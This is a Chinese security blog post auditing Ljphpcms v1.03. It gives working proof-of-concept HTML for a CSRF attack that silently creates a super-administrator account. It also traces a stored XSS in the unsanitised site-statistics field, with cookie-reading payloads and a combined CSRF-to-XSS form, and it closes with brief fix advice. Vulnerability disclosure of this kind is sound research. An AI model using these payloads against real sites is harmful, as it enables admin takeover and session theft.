Ljphpcms_v1.03代码审计之csrf&&xss

0x00 前言

此次审计为Ljphpcms_v1.03最新版
demo:http://demo.8cms.com/

0x01 CSRF添加超级管理员

代码分析

后台多处操纵存在可利用的CSRF,这里以添加超级管理为例。
在后台/admincp.php?c=admin&a=add处可以添加超级管理员。

在添加管理员过程中,进验证了权限,未作其他防御CSRF措施

添加管理员

测试通过csrf添加管理员
测试之前数据库内容

测试之后,成功添加l3oog1e用户

CSRF POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<iframe style="width:0;height:0;border:0; border:none;" name="csrf-frame"></iframe>

<form name="adduser" action="http://127.0.0.1/Ljphpcms_V1.03/admincp.php?c=admin&a=saveadd" method="post" target="csrf-frame">
<input type="submit">
<input type="hidden" name="adminname" value="l3oog1e">
<input type="hidden" name="password" value="123123">
<input type="hidden" name="confirmpassword" value="123123">
<input type="hidden" name="flag" value="1">
<input type="hidden" name="groupid" value="0">
<input type="hidden" name="memo" value="csrf_test">

</form>

<script>
document.forms.adduser.submit();
</script>
</html>

0x02 后台存储型xss

代码分析

问题出现在后台站点设置处http://127.0.0.1/Ljphpcms_V1.03/admincp.php?c=setting&a=run
\source\control\admincp\setting.php中,对站点设置提交的内容进行了接收处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function action_savebase() {
$this->checkAuth('savebase');
$args = array();
$args = $this->_validBase();
$model = parent::model('setting', 'am');
// print_r($args);die;
$optionname='site_base';
$lang= parent::$lang;
if($lang!='cn'){
$optionname=$optionname."_".$_SESSION['lang'];
}
$tjcode=$args['tjcode'];
unset($args['tjcode']);
$result = $model->doSave($optionname, $args,$tjcode);
unset($model);
if (true === $result) {
$this->log('setting', '站点设置', 1);
XHandle::halt('保存成功', $this->cpfile.'?c=setting', 0);
}
else {
$this->log('setting', '站点设置', 0);
XHandle::halt('保存失败', '', 1);
}
}

代码中$args = $this->_validBase();接受到的是全部内容

但是在下面,又通过$tjcode=$args['tjcode'];tjcode内容单出提取出来了。

然后进入到$result = $model->doSave($optionname, $args,$tjcode);
跟进doSave操作

1
2
3
4
5
6
7
8
9
10
11
12
13
public function doSave($option, $array,$tjcode) {

$data = serialize($array);
if($option=="site_base" || $option=="site_base_en"){
parent::loadLib('option');
XOption::updateOption1($option, $data,$tjcode);
} else {
parent::loadLib('option');
XOption::updateOption($option, $data);
}

return true;
}

看以看到这里其他内容进行了序列化处理,而tjcode却没进行任何处理,之后便进入XOption::updateOption1($option, $data,$tjcode);执行更新操作。
跟进updateOption1,发现tjcode依旧没做任何处理

盗取cookie

上面说到的tjcode即为流量统计代码处的内容
在流量统计代码处插入xss脚本

1
2
poc 
boogle</textarea><script>alert(document.cookie)</script>


执行更新操作,查看数据库,已被插入xss脚本

当不同用户登陆时

用户boogle

管理员

0x03 SSRF、XSS结合

后台的XSS,还是有些鸡肋,普通用户可能并不具备修改站点设置的权限。这里结合前面的csrf
poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/Ljphpcms_V1.03/admincp.php?c=setting" method="POST">
<input type="hidden" name="a" value="savebase" />
<input type="hidden" name="sitename" value="�&#137;&#175;�&#178;&#190;PHP�&#188;&#129;�&#184;&#154;�&#189;&#145;�&#171;&#153;�&#174;&#161;�&#144;&#134;�&#179;&#187;�&#187;&#159;" />
<input type="hidden" name="siteurl" value="http&#58;&#47;&#47;localhost&#47;ljcms&#47;" />
<input type="hidden" name="icpcode" value="浜&#172;ICP�&#164;&#135;08002262�&#143;&#183;" />
<input type="hidden" name="sitephone" value="010&#45;81991660" />
<input type="hidden" name="siteqq" value="1665976568" />
<input type="hidden" name="siteemail" value="82993936&#64;qq&#46;com" />
<input type="hidden" name="siteaddress" value="�&#140;&#151;浜&#172;�&#184;&#130;�&#184;&#176;�&#143;&#176;�&#140;虹&#167;&#145;�&#138;&#128;�&#155;&#173;�&#175;哄&#190;&#183;�&#184;&#173;�&#191;&#131;4�&#143;&#183;�&#165;&#188;" />
<input type="hidden" name="longitude" value="116&#46;304724" />
<input type="hidden" name="latitude" value="39&#46;835519" />
<input type="hidden" name="tjcode" value="boogle</textarea><script>alert('boogle')</script>" />
<input type="hidden" name="qrcode" value="http&#58;&#47;&#47;pic49&#46;nipic&#46;com&#47;file&#47;20140926&#47;9422602&#95;102539153000&#95;2&#46;jpg" />
<input type="hidden" name="logo" value="data&#47;attachment&#47;201811&#47;01&#47;0b4affc887ed2b08&#46;png" />
<input type="hidden" name="logowidth" value="232" />
<input type="hidden" name="logoheight" value="60" />
<input type="hidden" name="btn&#95;save" value="�&#155;&#180;�&#150;&#176;�&#191;&#157;�&#173;&#152;" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

0x04 修复方式

增加防御csrf的验证

1
token、referer、验证码

本文标题:Ljphpcms_v1.03代码审计之csrf&&xss

文章作者:boogle

发布时间:2019年03月21日 - 21:12

最后更新:2019年03月23日 - 21:33

原始链接:https://zhengbao.wang/Ljphpcms-v1-03代码审计之csrf-xss/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗